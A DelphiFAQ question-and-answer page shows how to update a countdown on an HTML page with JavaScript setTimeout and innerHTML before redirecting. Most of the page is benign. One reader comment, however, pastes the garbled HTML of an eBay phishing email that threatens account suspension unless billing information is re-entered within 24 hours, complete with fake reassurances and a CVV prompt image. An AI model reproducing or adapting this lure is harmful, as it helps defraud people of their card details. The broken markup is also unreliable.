DelphiFAQ Home Search:

Dynamically change a normal text statement on a html page

 

comments5 comments. Current rating: 4 stars (2 votes). Leave comments and/ or rate it.

Question:

I want to display a kind of countdown on my web page with a redirect happening once 0 is reached.
How can I update the counter without reloading the page every time?

Answer:

You need to define a
section or even use a header. Give this section a unique ID, use javascript to get a reference to the element and use the .innerHTML property to update the text.

To implement the countdown, you need to set a timer.
The example shows this and uses setTimeout for the timer.

<script language="JavaScript">
<!--
var iTime=5;
function update() {
var txt = 'Will update progress ';
if (iTime>1) { txt = txt + 'in ' + iTime + ' seconds.'; }
else {
  if (iTime==1) { txt = txt + 'in one second.'; }
  else { txt = txt + 'now.'; }
}
document.getElementById("cnt").innerHTML = txt;
iTime=iTime-1;
if(iTime>=0) { ID=window.setTimeout("update();",1000); }
else { document.location.href="/request?70"; }
} 
// -->

</script>
</head>
<body onload="update()">

<div name=cnt id=cnt>Will update progress in 5 seconds.</div>

Comments:

2007-04-22, 01:10:09
anonymous from Iran in Chahar Mahall va Bakhtiari, Iran  
rating
I used it very simply.
2008-06-17, 05:25:38
from India  
asdfd
2008-09-10, 02:33:08
darksystemcd@bol.com.br from Santos, Brazil  
rating
I have a question about this JavaScript code ....

What about when if i want to write text direct to that var :
'var txt = 'Will update progress ';'

then to be able for change a UNKNOW text string placed at runtime
withnot realod the entire page .
just like the function gets the time,a place where it can get a string .

something like :
'var MyStringFromUnknowRssFeed;' <<But from where it came from ?

Then works like this :

<div name=cnt id=cnt>its realtime rss feed</div> <<<Updated right here ?!!
2009-02-02, 12:27:22
anonymous from Romania  
<TABLE id=grid4 cellSpacing=0 cellPadding=3>
<TBODY>
<TR>
<TD class=Question id=tdA1 vAlign=top align=left><STRONG>Dear eBay User,<BR>     We regret to inform you that your eBay account could be suspended because you violated  The eBay User Agreement, that you accepted on your registration. The eBay Security staff belive that you are implicated in one of those Restricted Activities. <BR>     (a) You have provided false, inaccurate or misleading information on your eBay Registration; <BR>     (b) You are involve on saleing counterfeit or stolen items; <BR>     (c) You violated any law, statute, ordinance or regulation (including, but not limited to, those governing export control, consumer protection, unfair competition, antidiscrimination or false advertising); <BR>     We have the right to limit your activity, immediately remove your bids or item listings, warn our community of your actions, issue a warning, temporarily suspend, indefinitely suspend or terminate your membership and refuse to provide our services to you.<BR>     If you not re-enter your Registred Billing Information in about 24 hours, we will suspend your eBay account, will remove your bids and we will refuse to provide our services to you.</STRONG></TD></TR>
<TR>
<TD class=Question id=tdA2 vAlign=top align=left>
<TABLE id=grid4 cellSpacing=0 cellPadding=3>
<TBODY>
<TR>
<TD class=Question id=tdA3 vAlign=top align=left>
<TABLE height=187 cellSpacing=0 cellPadding=0 width=664 border=0>
<TBODY>
<TR>
<TD width=664 height=42><A href=' http://www.ebay.com/' target=_blank><IMG height=40 alt='eBay logo' hspace=0 src=' http://pics.ebay.co..87x40.gif' width=3border= 0></A></TD></TR></TBODY><</TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=600 border=0>
<TBODY>
<TR>
<TD colSpan=2><IMG height=10 alt=spacer src=' http://pics.ebay.co..pacer.gif' width=1></TD></TR>
<TR>
<TD bgColor=#ffcc00 colSpan=2><IMG height=2 alt=spacer src=' http://pics.ebay.co..pacer.gif' width=1></TD></TR>
<TR bgColor=#ffe580>
<TD width=25><IMG height=3 alt='' src=' http://pics.ebay.co.._16x3.gif' width=16 align=middle></TD>
<TD vAlign=center width=575>
<TABLE cellSpacing=0 cellPadding=1 width=701 border=0>
<TBODY>
<TR>
<TD vAlign=center noWrap width=437><FONT face='Verdana, Helvetica, Arial, sans-serif' size=3><B>Re-enter Your Billing Information</B></FONT></TD>
<TD vAlign=center noWrap align=right width=260><A href=' http://pages.ebay.c..gnin.html' target=_blank onfiltered='return openHelpWindow(this.href);'><IMG height=14 src=' http://pics.ebay.co..14x14.gif' width=14 border=0></A><IMG height=1 alt=spacer src=' http://pics.ebay.co..pacer.gif' width=4><FONT face='Arial, Helvetica, sans-serif' color=#003399 size=2><A href=' http://pages.ebay.c..gnin.html' target=_blank onfiltered='return openHelpWindow(this.href);'>Need Help?</A></FONT><FONT color=#003399><IMG height=1 alt=spacer src=' http://pics.ebay.co..pacer.gif'<TR>
<TD bgColor=#ffcc00 colSpan=2><FONT color=#003399><IMG height=2 alt=spacer src='
http://pics.ebay.co..pacer.gif'<TABLE cellSpacing=0 cellPadding=0 width=720 border=0>
<TBODY>
<TR bgColor=#ffffcc>
<TD width=598 height=23>
<TABLE cellSpacing=0 cellPadding=0 width=599 border=0>
<TBODY>
<TR>
<TD vAlign=top width=31 height=8><FONT color=#003399><IMG height=16 src='https://scgi.ebay.com/saw/pics/sitewide/processBar1_16x16.gif' width=16></FONT></TD>
<TD vAlign=top width=139 height=8><FONT face='Arial, Helvetica, Verdana, sans-serif' size=2><B>Enter Information</B></FONT></TD>
<TD width=38><IMG height=2 alt=' ' src='https://scgi.ebay.com/saw/pics/spacer.gif' width=25></TD>
<TD vAlign=top width=27 height=8><FONT face='Arial, Helvetica, Verdana, sans-serif' color=#000000 size=2>2</FONT></TD>
<TD vAlign=top width=113 height=8><FONT face='Arial, Helvetica, Verdana, sans-serif' color=#000000 size=2>Agree to Terms</FONT> </TD>
<TD width=50><IMG height=2 alt=' ' src='https://scgi.ebay.com/saw/pics/spacer.gif' width=25></TD>
<TD vAlign=top width=25 height=8><FONT face='Arial, Helvetica, Verdana, sans-serif' color=#000000 size=2>3</FONT></TD>
<TD vAlign=top width=176 height=8><FONT face='Arial, Helvetica, Verdana, sans-serif' color=#000000 size=2>Confirm YoEmail& lt;/FONT></TD></TR></TBODY></TABLE& gt;</TD></TR></TBODY></TABLE><</TD></TR>
<TR>
<TD class=Question id=tdA4 vAlign=top align=left>Your card will not be charged. Rest assured that your information is kept safe and private. &nbs& lt;/TD></TR></TBODY></TABLE></TD> </TR></TBODY></TABLE>




































<IMG alt='' src='
http://www.newshost.._cvv2.gif'


































<P><STRONG> </STRSTRONG>
<TABLE id=grid4 cellSpacing=0 cellPadding=3>
<TBODY>
<TR>
<TD id=tdQAvAlign= top><STRONG></STRONG></TD></TR/TR>
<TR>
<TD class=Question id=tdA17 vAlign=top align=left>
<TABLE cellSpacing=0 cellPadding=0 width=600 border=0>
<TBODY>
<TR>
<TD vAlign=top width=423><FONT face='Arial, Helvetica, Verdana, sans-serif' color=#666666 size=-2>Your card will <STRONG>not </STRONG>be charged.</FONT> </TD>
<TD vAlign=top width=157></A></A><FONT face='Arial, Verdana, Helvetica, sans-serif' size=1><A href='
http://pages.ebay.c..licy.html' target=_blank onfiltered='return openHelpWindow(this.href);'><IMG height=31 alt=TrustE src='https://scgi.ebay.com/saw/pics/truste_button.gif' width=116 align=middle border=0></A></FONT><A target=_blank name=State></A><A target=_blaname= ZipCode></A></TD></TR></TBODY>></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=600 border=0>
<TBODY>
<TR>
<TD><IMG height=20 alt='' src='https://scgi.ebay.com/saw/pics/spacer.giwidth= 1></TD></TR></TBODY></TABLE>gt;
<TABLE height=1 cellSpacing=0 cellPadding=0 width=600 bgColor=#ffcc00 border=0>
<TBODY>
<TR>
<TD vAlign=top height=1><IMG height=2 src='https://scgi.ebay.com/saw/pics/spacer.gif' width=1></TD></TR>
<TR>
<TD vAlign=top bgColor=#ffffff height=5></A><FONT face='Arial, Verdana, Helvetica, sans-serif' size=1><A target=_blank name=DOB><FONT color=#003399>Copyright © 1995-2003 eBay Inc. All Rights Reserved.<BR>Designated trademarks and brands are the property of their respective owners.<BR>Use of this Web site constitutes acceptance of the eBay </FONT></A><A href=' http://pages.ebay.c..ment.html' target=_blank onfiltered='return openHelpWindow(this.href);'><FONT color=#003399>User Agreement</FONT></A> and <A href=' http://pages.ebay.c..licy.html' target=_blank onfiltered='return openHelpWindow(this.href);'><FONT color=#003399>Privacy Policy</FONT></A&. </FONT></TD></TR></TBODY></TABLE& gt;</TD></TR></TBODY></TABLE></P&/P>
2009-04-21, 00:52:39
anonymous from India  
shangeetha

 

 

NEW: Optional: Register   Login
Email address (not necessary):

Rate as
Hide my email when showing my comment.
Please notify me once a day about new comments on this topic.
Please provide a valid email address if you select this option, or post under a registered account.
 

Show city and country
Show country only
Hide my location
You can mark text as 'quoted' by putting [quote] .. [/quote] around it.
Please type in the code:

Please do not post inappropriate pictures. Inappropriate pictures include pictures of minors and nudity.
The owner of this web site reserves the right to delete such material.

photo Add a picture: